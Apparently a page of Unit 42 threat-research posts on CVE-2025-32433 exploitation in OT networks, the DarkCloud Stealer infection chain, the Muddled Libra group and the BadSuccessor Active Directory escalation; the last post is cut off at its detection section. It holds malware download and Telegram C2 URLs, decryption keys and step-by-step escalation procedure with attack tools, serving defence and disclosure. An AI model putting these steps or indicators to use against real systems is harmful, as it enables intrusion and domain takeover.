The disproportionate volume of CVE-2025-32433 exploit attempts observed in OT networks across countries like Japan, the U.S. and others reflects a combination of factors, not a singular cause.

These regions often host highly connected, digitally mature industrial sectors that rely on complex IT/OT integrations where general-purpose components like Erlang/OTP could be embedded in operational environments.

Exploit Distribution by Industry

Almost 70% of the total number of signature triggers originated from firewalls protecting OT networks. Of the total number of firewalls that saw an exploit attempt, nearly 60% of the attempts were on firewalls within OT networks. Averaging out the number of exploit attempts per firewall, OT networks saw 160% more attempts per device than non-OT networks.

This indicates:

  • A significant number of OT firewalls are exposed to the internet
  • Adversaries might have already breached edge security, compromised enterprise devices and established persistence
    • They could be launching this exploit attempt from within enterprise networks using lateral movement techniques, with the goal of accessing OT networks
  • Discrepancy in exploit attempts on OT networks could indicate the intention of malicious actors to infiltrate critical infrastructure

This number could be anomalous because of the small sample size analyzed.

An outsized majority of triggers originated in the education industry, both within all networks and OT networks, with 2,460 (72.7% of total) and 2,090 (88.4% of total) respectively, shown in Figure 6 below.

Bar chart comparing the number of incidents in two categories, "All Industries" and "OT Industries", split into "Education" and "Remaining". "Education" incidents are significantly higher in "All Industries" compared to "OT Industries".
Figure 6. CVE triggers by industry.

The industry-level distribution of CVE-2025-32433 exploitation attempts underscores a critical shift in the operational threat landscape.

We observed nearly 70% of exploit attempts within OT networks. Several sectors — including healthcare, high technology and education — showed a disproportionately high concentration of OT-specific activity.

This challenges the traditional view that OT risk is confined to industrial control systems or manufacturing. At the same time, we should not interpret the absence of detections in the following OT-heavy sectors as safety:

  • Utilities and energy
  • Mining and aerospace
  • Defense

We should instead see it as potential evidence of detection weakness or delayed targeting.

These findings highlight that attackers are exploiting the realities of IT/OT convergence and are targeting operational systems wherever they exist.

Temporal Trends in Exploitation

Bar chart showing daily data from May 1st to May 9th 2025 with two categories: "Total" and "OT Only." The bars for "Total" are consistently higher than those for "OT Only." Color distinctions indicate different categories with blue for Total and red for OT Only.
Figure 7. Trigger distribution by day.

Analyzing the data we have for May 2025, peaks in total triggers often correlate with OT activity. Figure 7 shows the days with the highest total triggers (May 3, May 6, May 8, May 9) include the days with significant OT activity (May 3, May 8, May 9).

Exploitation attempts of CVE-2025-32433 are not uniform or continuous — they appear in concentrated bursts that disproportionately impact OT environments. When activity spikes, it is frequently driven by OT-specific triggers, often accounting for over 80% of detections on peak days.

The geographic, industrial and temporal footprint of CVE-2025-32433 exploit attempts highlights a strategic shift in attacker behavior toward operational environments across diverse sectors and regions. Exploits are not limited to traditionally defined industrial control systems. They appear in healthcare, education, high tech and other verticals — many of which host embedded OT systems not previously treated as high risk.

Geographically, countries with mature digital infrastructure and strong industrial bases — such as Japan, the U.S. and Brazil — show high OT exposure, while sectors like utilities and mining show no detections despite high inherent risk. This suggests telemetry gaps, delayed targeting or underreporting. Combined, these patterns illustrate that modern OT threats do not follow legacy assumptions about where OT resides or how it is attacked.

We have confirmed active exploitation attempts through payload telemetry, with disproportionate impact on OT networks across multiple industries. The use of stealthy reverse shells and DNS-based callbacks further indicates that attackers are employing evasive techniques.

Mitigation Guidance

The rapid surge in attack payloads suggests that threat actors have quickly adopted this exploit in active campaigns. This pattern underscores the urgency for organizations — particularly those in the targeted sectors and geographies outlined above — to improve protections.

  • Apply the latest security patches
  • Update intrusion prevention systems with the newest signatures
  • Closely monitor environments for signs of compromise

The primary mitigation for this vulnerability is to upgrade Erlang/OTP to a patched version:

  • OTP 27.3.3 or later
  • OTP 26.2.5.11 or later
  • OTP 25.3.2.20 or later

As a temporary workaround (if patching is not immediately possible), consider disabling the SSH server or using firewall rules to restrict access to trusted sources only (as suggested by NIST).

Conclusion

CVE-2025-32433 is a serious vulnerability resulting from improper state enforcement in the Erlang/OTP SSH daemon, which could potentially allow unauthenticated RCE. The failure to reject post-authentication messages before authentication completion creates a significant attack surface that is being exploited in the wild.

Attackers are attempting to exploit the vulnerability in short, high-intensity bursts. These are disproportionately targeting OT networks and attempting to access exposed services over both IT and industrial ports. Early telemetry confirms that the threat extends far beyond traditional industrial sectors, impacting education, healthcare and high technology — underscoring the reality that critical OT assets now exist across a much broader digital surface area.

Organizations must re-examine their exposure, enhance OT-specific visibility and treat CVE-2025-32433 not as an isolated issue, but as a case study in how general-purpose software flaws can rapidly escalate into operational threats.

Palo Alto Networks Product Protections for CVE-2025-32433

Palo Alto Networks customers are better protected from these threats by the products and services listed below.

Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection.

Cortex Xpanse has the ability to identify exposed devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Next-Generation Firewall with the Advanced Threat Prevention subscription can help block activity associated with CVE-2025-32433 (Erlang OTP SSH Remote Code Execution Vulnerability) with the release of our threat prevention signature 96163.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

  • .dns.outbound.watchtowr[.]com
  • 194.165.16[.]71
  • 146.103.40[.]203

Additional References

New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer

Posted on by Samantha Stallings

Executive Summary

Unit 42 researchers recently observed a shift in the delivery method in the distribution of DarkCloud Stealer and the obfuscation techniques used to complicate analysis. First seen in early April 2025, these new methods and techniques include an additional infection chain for DarkCloud Stealer. This chain involves obfuscation by ConfuserEx and a final payload written in Visual Basic 6 (VB6).

We previously identified a series of attacks linked to the distribution of DarkCloud Stealer. It also leveraged AutoIt to bypass detection systems. We documented these details in DarkCloud Stealer: Comprehensive Analysis of a New Attack Chain That Employs AutoIt.

Palo Alto Networks customers are better protected through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Infostealers, Anti-analysis

Delivery Mechanism and Updated Infection Chain

We have observed three slightly different attack chains delivering the same final DarkCloud Stealer payload in recent attacks.

Each attack chain starts with a phishing email that contains either a tarball (TAR), Roshal (RAR) or a 7-Zip (7Z) archive. Both the TAR or RAR versions contain a JavaScript (JS) file, while the 7Z version contains a Windows Script File (WSF). The threat actor is at a point in development that, for all infection chain paths, almost every stage is obfuscated or protected.

Figure 1 shows an overview of the different infection chains of these recent DarkCloud Stealer campaigns.

Flowchart showing a cybersecurity attack sequence starting from a phishing email with various file types (RAR, JS, TAR), leading to an Open Directory Server, engaging a PowerShell script (PS1), and culminating in the execution of a malware payload process. The process begins with an EXE file, labeled as the initial payload ConfuserEx, which launches the official .Net RegAsm tool, and results in a second injected EXE known as the final payload VB6.
Figure 1. Infection chain of recent DarkCloud attacks.

In the chains initiated by a JS script, executing the script downloads and executes a PowerShell (PS1) file from an open directory server. The PS1 file then drops an executable (EXE) file that is the ConfuserEx-protected version of the final DarkCloud payload. Looking at the JS file here in Figure 2, the script is obfuscated by the tool javascript-obfuscator.

A screenshot of a computer monitor displaying multiple lines of colorful computer code on a black background.
Figure 2. JS downloader in its original obfuscated form.

Figure 3 below shows the deobfuscated version of the same script. In summary, the script:

  • Uses ActiveXObject('MSXML2.XMLHTTP') object to obtain the next stage PS1 script at hxxp[:]//176.65.142[.]190/BLACKYY/newbag.ps1
  • Uses ActiveXObject('Scripting.FileSystemObject') object to drop the PS1 file as a random 8-character lowercase name in the C:\Temp folder.
  • Uses ActiveXObject('WScript.Shell') object to run a PowerShell command to execute the PS1 file.
A screenshot displaying many lines of code that involve JavaScript functions related to network activities and error handling, written in a text editor with syntax highlighting.
Figure 3. Unobfuscated JS downloader.

Figure 4 illustrates an open directory server hosting many malicious PS1 files. In this case, the kay.ps1 is the next stage PS1 sample that the JS script downloaded and executed.

Screenshot of a web directory listing. It is the index for blackyy. It is on Apache/2.4.58 (Win64) OpenSSL/1.1.1j PHP/8.0.3 Server at 176 dot 65 dot 142 dot 190 Port 80, displaying various files with details on the last modified dates and file sizes.
Figure 4. Open directory server hosting PS1 files.

The infection chain initiated by a 7Z archive drops a WSF file. The WSF file mainly consists of a single <job> tag, which contains a <script language="JScript"> tag. The JScript code is again heavily obfuscated, but in a different way than the JS file shown in Figure 2. It also uses ActiveXObject objects to download and execute a PS1 file from the same open directory server. However, the PS1 script associated with this WSF downloader is different.

Next, we will focus on the JS-based infection chain that runs the kay.ps1 PowerShell script. This PS1 also has two layers of encryption scheme. Figure 5 shows partial code snippets from the first layer. The snippet uses Invoke-Expression (a PowerShell command that executes a string as if it were a command) to invoke another PowerShell expression that is both Base64-encoded and AES-encrypted.

Screenshot of computer code involving Base64 encoding and decryption processes. The PowerShell script first layer.
Figure 5. First layer of the PS1 script.

Figure 6 shows a code snippet from the invoked PS1 expression, revealing its core functionality. The code reveals that an EXE file is written to the %tmp% folder with a randomly generated 8-character upper- or lower-case filename. The script then executes the dropped EXE file using the Start-Process command.

Screenshot of white code on a black background. The PowerShell script second layer.
Figure 6. Second layer of the PS1 script.

DarkCloud Technical Analysis: Expanded View

In the following section, we delve deeper into the analysis of the 32-bit .NET malware sample. This malware sample contains the final DarkCloud executable written in VB6 and wrapped in a layer of ConfuserEx obfuscation.

Stage One: Initial ConfuserEx Obfuscation

ConfuserEx 2 is an open-source protector for .NET applications. Files protected with ConfuserEx are watermarked with a ConfusedByAttribute attribute. ConfuserEx comes with many features and protections such as:

  • Anti-tampering (method encryption): This protects the application from unauthorized modification. This is accomplished by only decrypting the code of method bodies at runtime. This decryption is performed in the module constructor (<Module>.cctor), which executes before reaching the main entry point.
  • Symbol renaming: This changes class, method and variable names to random, meaningless, non-American Standard Code for Information Interchange (ASCII) printable identifiers.
  • Control flow obfuscation: This alters the code structure with opaque predicates (cf. control flow flattening).
  • Method reference hiding: This is also known as proxy call method obfuscation (this will be later described in more detail).
  • Constant encoding: This encodes constants (e.g., strings using fixed reversible transformations.

The malware author applied these protections to the analyzed malware sample.

First, we can adapt the AntiTamperKiller code to defeat anti-tampering protection. This transformed the sample's .NET code, as Figure 7 shows.

Screenshot of a computer screen displaying code in an IDE with error messages, specifically a DecompilerException, indicating non-generic decompiling issues. The code includes hex addresses and assembly language elements.
Figure 7. The original sample depicting anti-tampering protection applied.

The method body code consists of bogus invalid .NET instructions into the deobfuscated code seen in Figure 8, where the real method body code is now visible. In particular, we extracted the specific parameters of the anti-tampering protection:

  • Key 1: 0xc225d58c
  • Key 2: 0xa2e32024
  • Key 3: 0xdcc95ec9
  • Key 4: 0x00000000
  • Name hash: 0xe0cbeae4
  • Internal key: 0x3dbb2819
A screenshot of a computer screen displaying code in a software development environment. The code includes loops and conditional statements.
Figure 8. Sample with anti-tampering protection removed.

Next, we still have more cleanup work to do on the partially deobfuscated sample. We then applied de4dot-cex (a fork of de4dot, a generic .NET deobfuscator and unpacker, which includes support for ConfuserEx deobfuscation) to the sample, using the -p crx command-line switch. This transforms the .NET sample’s code seen in Figure 8 into the code shown in Figure 9, by renaming the obfuscated symbols and reverting the control flow flattening.

Image of a snippet of computer code showing functions and variable assignments within a Main method.
Figure 9. Partially deobfuscated sample, after applying de4dot-cex.

Thereafter, proxy call methods can be fixed using the proxy call remover tool. Proxy call method obfuscation is a technique that replaces direct method calls with calls to intermediate (i.e., proxy) methods. These proxy methods often do almost nothing besides forwarding the original call. However, they make control flow more difficult for the analyst to follow, thus hindering the code decompilation process. This reduces code readability and increases the effort required to fully understand the entire program logic.

Removing these proxy call methods resulted in the simplified code seen in Figure 10. The Class8.smethod_10 method is revealed as the standard Convert.FromBase64String method.

A screenshot of programming code displayed on a digital screen, featuring functions and methods related to data conversion and string manipulation.
Figure 10. Deobfuscated sample with proxy calls removed.

Eventually, the final DarkCloud VB6 payload (which is in Triple Data Encryption Standard (3DES) encrypted form shown in Figure 11) is decrypted and executed.

Screenshot of a computer code in a development environment, featuring several lines that include methods for converting Base64 strings.
Figure 11. Final VB6 payload in 3DES-encrypted form.

The Base64-encoded key, initialization vector (IV) and ciphertext are stored as strings within the <Module>.byte_0 variable in Length-Value format, as shown in Figure 12.

Hexadecimal values displayed in pink and green on a black background, with some ASCII characters visible on the right side.
Figure 12. <Module>.byte_0 variable in Length-Value format.

The standard Type-Length-Value (TLV) format (TLV) format typically includes a type identifier, but in this case, it’s omitted because all values are strings. For instance, the cryptographic key iA9B1uKFddQdqiLSSuzvD2GhL1o2Jv+v (also shown in Figure 11) is stored as a 32-byte string. The length is specified at offset 60 in little-endian format, with the string value beginning at offset 64.

The <Module>.byte_0 variable value is initialized in the module constructor (<Module>.cctor), through a series of exclusive OR (XOR) and bitwise (arithmetic bit shift) operations on a hard-coded 100,560-element unsigned integer array. After initialization, other generic .NET methods, each accepting a single integer id as parameter, use this array to index the initialized <Module>.byte_0 variable and return a string. Figure 13 shows one such method, <Module>.smethod_6.

A screenshot of many lines of code showing with several lines including conditionals, loops, and function definitions.
Figure 13. Example generic .NET method providing a string lookup by id on the <Module>.byte_0 variable.

Stage Two: Final VB6 Payload

RunPE, or process hollowing, is a process injection technique. Process hollowing works by first creating a fresh instance of a (usually legitimate) process in a suspended state. The process memory is then overwritten with code from another (usually malicious) executable. Subsequently, the process thread resumes at the entry point of the overwritten code, so that the malicious code now runs in the context of the benign process.

The ConfuserEx protected process uses process hollowing to inject the final VB6 payload. After decryption, the final VB6 payload named holographies.exe, is injected into a new native Portable Executable (PE) process spawned by the initial ConfuserEx process. The process used for injection is RegAsm.exe, a legitimate utility that comes with the default installed .NET Framework SDK on Windows.

The presence of the string DarkCloud within the final VB6 payload (shown in Figure 14) confirms its affiliation with the DarkCloud malware family.

Hexadecimal and ASCII data representations on a computer screen, including highlighted sections spelling out DARK CLOUD.
Figure 14. DARKCLOUD Unicode string in little-endian format (UTF16-LE) embedded within the final VB6 payload file.

Additionally, critical strings within the payload are encrypted using the Rivest Cipher 4 (RC4) stream cipher algorithm, with each ciphertext typically using a unique key. For instance, the ciphertext 58364B6DB1C7D797DFA59186B4 paired with the key sMgSInEGpSAgkfcMSUPDDFCVSTyhowuHorsctkyTMYZh decrypts to the string WScript.Shell. These sensitive strings can be broadly categorized as:

  • Regular expressions
  • Credit card names
  • Registry paths
  • Directory and file paths (including file extensions)
  • Telegram API credentials (used for C2 purposes)
  • Other miscellaneous strings

Conclusion

DarkCloud Stealer is typical of an evolution in cyberthreats, leveraging obfuscation techniques and intricate payload structures to evade traditional detection mechanisms. The developers of the malware complicated its analysis by adopting ConfuserEx and a VB6 payload in its infection chain.

The shift in delivery methods observed in April 2025 indicates an evolving evasion strategy. This highlights the need for security professionals to adopt proactive, behavior-based approaches to threat detection and mitigation.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
  • Cortex Cloud customers are better protected from DarkCloud Stealer through the proper placement of Cortex Cloud XDR endpoint agent and serverless agents within a cloud environment. Designed to protect a cloud’s posture and runtime operations against these threats, Cortex Cloud helps detect and prevent the malicious operations or configuration alterations or exploitations discussed within this article.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

File Type SHA256 Hash
RAR archive bd8c0b0503741c17d75ce560a10eeeaa0cdd21dff323d9f1644c62b7b8eb43d9
TAR archive 9588c9a754574246d179c9fb05fea9dc5762c855a3a2a4823b402217f82a71c1
JS file 6b8a4c3d4a4a0a3aea50037744c5fec26a38d3fb6a596d006457f1c51bbc75c7
PS1 file F6d9198bd707c49454b83687af926ccb8d13c7e43514f59eac1507467e8fb140
WSF file 72d3de12a0aa8ce87a64a70807f0769c332816f27dcf8286b91e6819e2197aa8
7Z archive fa598e761201582d41a73d174eb5edad10f709238d99e0bf698da1601c71d1ca
7Z archive 2bd43f839d5f77f22f619395461c1eeaee9234009b475231212b88bd510d00b7
Initial ConfuserEx .NET EXE file 24552408d849799b2cac983d499b1f32c88c10f88319339d0eec00fb01bb19b4
Final DarkCloud VB6 EXE file ce3a3e46ca65d779d687c7e58fb4a2eb784e5b1b4cebe33dbb2bf37cccb6f194
  • Malware distribution URL hxxp[:]//176.65.142[.]190
  • C2 URL hxxps[:]//api.telegram[.]org/bot7684022823:AAFw0jHSu-b4qs6N7yC88nUOR8ovPrCdIrs/sendMessage?chat_id=6542615755

Additional Resources

 

Muddled Libra: Why Are We So Obsessed With You?

Posted on by Ria Bhatia

Why Do We Talk So Much About Muddled Libra?

Many articles and presentations have covered the tactics, techniques and procedures of the group that Unit 42 tracks as Muddled Libra. Known for social engineering tactics, the group recently attacked organizations in industries including government, retail, insurance and aviation. There's an undeniable impact for the group’s victims, but I’ve also been pondering why this group seems to receive more media attention than other groups that also partner with Ransomware-as-a-Service (RaaS) programs.

There are other affiliates that heavily target English-speaking countries, and that are just as fast and impactful. Reading Trend 3 of our recent 2025 Unit 42 Global Incident Response Report, for example, there are fast attacks in incident response cases related to a variety of threat groups.

Here are some thoughts on why Muddled Libra has been a particular focus for the media:

Distinct Playbook, Industry Targeting

Even though Muddled Libra often uses publicly available tools and known techniques, their playbook is pretty consistent and their vishing is somewhat unique. This may make it easier to identify this group of hackers across cases versus other hacking teams. Muddled Libra has also attacked companies in waves by industry, which puts companies in those industries on high alert. It’s one thing to know that your organization may be attacked at any time, it’s another to know a specific threat actor is successfully targeting your peers and you may be getting attacked right now and not even know it. For other intrusions involving a RaaS affiliate, many of these groups have such similar techniques that it makes it difficult to differentiate them, and their targeting more opportunistic across industries, so there is not as coherent a story to tell.

Successful Tactics

Just looking at our cases in 2025 involving this threat actor this year, 50% of cases led to DragonForce ransomware deployment and data exfiltration, showing that Muddled Libra’s attacks are frequently successful. Granted, we don't know how many calls to Help Desks go nowhere for this group, so it may be harder to measure them against their "peers." But the urgency of requests from organizations express palpable fear of Muddled Libra, as if executives were really worried they simply could not stop this threat actor.

The Power of Language

The really differentiating factor for me for this group is the English-speaking fluency that they are able to employ. It’s not really possible to screen malicious calls and protect your help desk from ever receiving them. This may allow Muddled Libra to more surgically pick and choose which targets to go after within a victim environment. Seeing the success of this language fluency and these social engineering tactics makes me wonder what will happen as AI capabilities continue to mature. Could we see every RaaS affiliate gain the capability to act like Muddled Libra?

Studying the Group Is Key to Defending Against It

As described in our Muddled Libra Threat Assessment, we’ve seen organizations disrupt Muddled Libra through properly implementing Conditional Access Policies. There are many other recommendations that can make a difference to stopping or slowing this threat actor. For example, gathering information that can point to suspicious activities and intelligently making connections with it (with capabilities such as those of Cortex XSIAM) can help identify incidents that need a response.

Focused study of Muddled Libra and sharing information around it helps us all stay aware of the sorts of defenses that could make a difference, against this threat actor and many others. Knowing what’s worked for organizations who have successfully stopped the group can show all organizations that there is hope for defense, even against persistent and successful threat actors.

When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts in Active Directory

Posted on by Samantha Stallings

Executive Summary

BadSuccessor is a critical attack vector that emerged following the release of Windows Server 2025. Under certain conditions, this server version enables users to leverage delegated Managed Service Accounts (dMSAs) to elevate privileges within Active Directory environments running Windows Server 2025. At the time of writing this article, no patch exists for this issue.

By analyzing the core mechanics of this technique and offering practical detection strategies, we help security professionals and system administrators understand dMSAs and how attackers can misuse them to elevate privileges. We also provide advice on how to implement effective detection and mitigation strategies.

Palo Alto Networks customers are better protected against the BadSuccessor technique through Cortex XDR and XSIAM. These products already have the ability to detect the attack. Performing auditing on the delegated Managed Service Account is a required action that we describe in this article.

The Unit 42 Managed Detection and Response Service can assist with threat detection, investigation and response/remediation.

The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.

Related Unit 42 Topics Microsoft, Active Directory

BadSuccessor Overview

BadSuccessor is a novel technique that enables a threat actor with sufficient privileges to compromise an Active Directory (AD) domain by misusing controlled delegated Managed Service Account (dMSA) objects.

Originally detailed in research published by Akamai, this technique demonstrates how modifying a small set of attributes on a dMSA object under the attacker’s control can lead to privilege escalation within the environment. Publicly available tools have already been released to automate various steps involved in leveraging this technique, potentially lowering the barrier for its adoption.

We provide a comprehensive breakdown of the attack methodology, along with guidance on detection strategies and potential mitigations.

Understanding dMSAs

The Evolution of MSAs

Windows has two basic types of accounts:

  • Machine accounts
  • User accounts

In an AD environment, machine accounts represent hosts (servers or clients) that belong to a domain, while user accounts represent the users who log into and access the environment.

Service accounts are user accounts or machine accounts that provide a security context for services running on a Windows Server. In other words, Windows services authenticate with service accounts. Windows relies on service accounts to run its various features.

With the release of Windows Server 2008 R2, Microsoft introduced Managed Service Accounts (MSAs) and group Managed Service Accounts (gMSAs) to simplify and enhance AD service account management.

MSAs and gMSAs are specialized service accounts designed to securely run services within an AD environment without the need for manual password handling. An MSA account is linked to a single computer, allowing only that machine to retrieve and use the account. Conversely, a gMSA account can be used by multiple computers, like clusters or server farms.

A key benefit of MSAs and gMSAs is that AD automatically manages their passwords. This involves generating strong, unique passwords and rotating them regularly, eliminating the need for human administrators to manage credentials. For example, when a service needs to access a domain resource, the Local Security Authority Subsystem Service (LSASS) uses the machine account to securely request the MSA or gMSA’s password. In this way, the password is handled in the AD and not directly by a user or an administrator.

Delegated Managed Service Accounts

The dMSA is a new account type introduced in Windows Server 2025 to facilitate the migration of traditional service accounts to Managed Service Accounts. This process is as follows:

  • An administrator creates a new dMSA object, which is intended to supersede the existing service account.
  • The administrator then initiates the migration, which sets the dMSA msDS-ManagedAccountPrecededByLink attribute to reference the original service account.
  • When the original service authenticates as the original service account, it triggers a Lightweight Directory Access Protocol (LDAP) modify request. This adds the machine account to the list of principals that are allowed to retrieve the dMSA password.
  • In the final step, the administrator completes the migration, which disables the original service account. The service continues to operate seamlessly using the dMSA.
  • Once a dMSA supersedes an existing account, any attempts to authenticate as that existing account using its password will be blocked. These authentication requests are redirected to the Local Security Authority (LSA) to authenticate using the dMSA. By then, the request has been granted all permissions that the original account had in the Active Directory, by the Key Distribution Center (KDC).

While dMSAs are intended to prevent credential harvesting, dMSAs also create a privilege escalation path that attackers can exploit through the BadSuccessor technique.

dMSA Migration Flow

The migration process of a traditional service account to a dMSA is triggered by an administrator using the Start-ADServiceAccountMigration PowerShell AD module command. The administrator passes the following values to the command:

As the migration continues, it changes several attributes of the normal service account as it transitions to a dSMA account, including:

  • The msDS-DelegatedMSAState attribute is set to 1 in the newly created dMSA.

This attribute indicates the current state of the dMSA. Microsoft's documentation shows that 1 means the account migration has begun.

  • The dMSA’s msDS-ManagedAccountPrecededByLink attribute is set to reference the superseded account.

Next, the administrator initiates the Complete-ADServiceAccountMigration command. This command disables the superseded account, and it changes the msDS-DelegatedMSAState and msDS-SupersededServiceAccountState attribute values of the dMSA object to 2, indicating that the migration is complete.

Following this migration, any service that relies on the superseded account will use the dMSA instead, which now has all the permissions that the superseded account had.

Technical Analysis: Bad Successor Technique and Tools

This section demonstrates how attackers can use dMSAs to impersonate any domain user account, including the domain administrator, using the BadSuccessor technique.

dMSA Misuse

If an attacker or low-privileged user attempts to initiate the migration process for an existing service account, the operation will fail, because only administrative users can initiate migration. Instead of initiating the migration process, a potential attacker would create a dMSA and then change the same dMSA attributes that the valid migration process changes. This mimics a migration and has the same effect on the migrated account.

By default, only high-privileged users can create dMSAs under the default Managed Service Accounts container. However, other users can create dMSAs in other containers. This ultimately means that any domain user who has Create all child objects or msDS-DelegatedManagedServiceAccount permissions on an organizational unit (OU) could potentially compromise the entire domain.

The following steps detail how an attacker could simulate the migration:

  • Set the msDS-ManagedAccountPrecededByLink attribute to contain the DN of the account the attacker wants to impersonate.
  • Set msDS-DelegatedMSAState to 2, to indicate that the migration process is complete.

After changing these attributes and authenticating as the dMSA, the attacker obtains the full permissions of the superseded account.

Any user with sufficient permissions can execute this method in any AD environment managed by a Windows Server 2025 domain controller (DC).

BadSuccessor Simulation

Before performing the actual attack, an attacker must ensure the compromised user has sufficient permissions to create all child objects or dMSAs. Akamai released a PowerShell script named Get-BadSuccessorOUPermissions.ps1 that finds domain accounts that have the appropriate permissions on an OU to perform the BadSuccessor technique.

Figure 1 shows an example of Akamai's tool in action in a test AD environment. The output provides details of the objects in the domain that can be leveraged for BadSuccessor.

Screen showing Windows PowerShell with a command executed to get AD user permissions, displaying results for a specific user from a domain.
Figure 1. Executing Get-BadSuccessorOUPermissions.ps1 in our test environment.

In the example from Figure 1, the results indicate that an account named test_weak has the correct permissions to create a dMSA object under the OU DelegatedOU.

The enumeration tool performs the command shown in Figure 2 to retrieve OU DNs and their security descriptors.

Screenshot of computer code text related to a PowerShell command, highlighted in blue and purple.
Figure 2. Command to retrieve OU DNs and their security descriptors.

After the tool retrieves the OU DNs and their security descriptors, it reviews the output to find the following rights:

  • Create Child: msDS-DelegatedManagedServiceAccount
  • Create Child: All Objects

The tool’s output reveals all users and OU pairs that can potentially be leveraged for the BadSuccessor technique.

Using a newly found account with the required permissions, an adversary can potentially perform the BadSuccessor technique using PowerShell's Active Directory Module and LDAP, as described in the Akamai article.

  • First, the attacker creates a dMSA under the found OU. We demonstrate this in Figure 3 by creating a dMSA object named attacker_dMSA.
Image depicts a computer code snippet on a dark background with text including PowerShell commands related to creating a new service account named "attacker_0WSA" and managing DNS and computer settings.
Figure 3. Commands to create a dMSA object under the found OU.
  • Next, the attacker changes the attributes of the dMSA object to simulate the migration process. We demonstrated this in our test environment by setting the following values:
    • msDS-ManagedAccountPrecededByLink attribute to contain the DN of the superseded account
    • msDS-DelegatedMSAState to 2, to indicate that the migration process is complete
Screenshot of computer code related to a dMSA object.
Figure 4. Attributes of a dMSA object changed for the BadSuccessor technique.

Now that we know how the BadSuccessor technique works, let’s explore how different tools can automate an attack.

SharpSuccessor

SharpSuccessor is a proof of concept (PoC) hosted on a GitHub repository that automates the BadSuccessor technique. Figure 5 simulates an attack using a user account named test_weak in our test environment. This account has permissions to create a dMSA object under the DelegatedOU.

Screenshot of SharpSuccessor execution displaying commands for a malware attack simulation including logging in, adding a domain, and attempting to write and access attributes.
Figure 5. Execution of SharpSuccessor.

Figure 6 shows that the attacker_dMSA account is subsequently created in the OU.

Screenshot of the Active Directory Users and Computers management tool, displaying a list of folders including 'Users', 'Computers', and 'Domain Controllers.'
Figure 6. attacker_dMSA created under DelegatedOU.

Figure 7 shows how test_weak changed the msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes of attacker_dMSA. This simulates the completion of the migration.

Screenshot of a software dialog box titled "attacker_dMSA Properties" displaying various system attributes and their corresponding values, primarily focused on security and user account settings. Two settings are highlighted.
Figure 7. attacker_dMSA attributes msDS-DelegatedMSAState and msDS-ManagedAccountPrecededByLink.

Pentest-Tools-Collection BadSuccessor Module

The Pentest-Tools-Collection recently added a BadSuccessor module as one of its AD tools. This module has two modes:

  • Check mode
  • Exploit mode

Like the enumeration tool we previously discussed, this module’s check mode enumerates an AD environment. This enumeration indicates whether the environment can be exploited using the BadSuccessor technique and what OU can be used for a successful attack.

Figure 8 shows the results of this module after we ran it in check mode in our test environment.

Screenshot of PowerShell windows with queries being executed related to domain controls and system checks.
Figure 8. Executing Pentest-Tools-Collection's BadSuccessor module in check mode.

This module’s exploit mode creates a dMSA object and sets its attributes to falsely indicate that a migration process is complete. Figure 9 shows the use of this module in exploit mode automating the same BadSuccessor process previously shown in Figures 3 and 4.

Command line interface showing the configuration of a user named 'test_weak' being granted impersonation rights on an 'Administrator' account within a domain environment.
Figure 9. Executing Pentest-Tools-Collection's BadSuccessor module in exploit mode.

Domain Compromise

After successfully executing the BadSuccessor technique, potential attackers can further exploit the domain using Rubeus, which supports dMSA authentication. Figure 10 illustrates some Rubeus commands using the attacker_dMSA object in our test environment to gain access to privileged services in the domain.

Screenshot of a computer terminal displaying commands related to Rubues.exe on a Windows system, specifically for requesting and applying Kerberos tickets, involving entities such as a user named 'attacker', and domains ending in 'env20.local'.
Figure 10. Example of commands to use Rubeus to further exploit the domain in our test environment.

Figure 11 shows that after executing these Rubeus commands, test_weak can now access the network share C$ drive on the DC, which requires Domain Admin privileges.

Screenshot of a Windows command prompt display showing directory listings with dates and times for folders such as Program Files, Program Files (x86), and Users.
Figure 11. test_weak account accessing the DC’s C$ directory using the attacker_dMSA object in our test environment.

Detecting BadSuccessor Activity

As presented in the Akamai article, the operations involved in BadSuccessor can be monitored via the following event IDs:

  • Event ID 5137 — Tracks the creation of dMSA objects
  • Event ID 5136 — Tracks the modification of the msDS-ManagedAccountPrecededByLink attribute
  • Event ID 2946 — Tracks the Ticket Granting Ticket (TGT) that is generated for a dMSA

But we propose an alternative way to track BadSuccessor activity and the footprints that it leaves behind; by leveraging Event ID 4662.

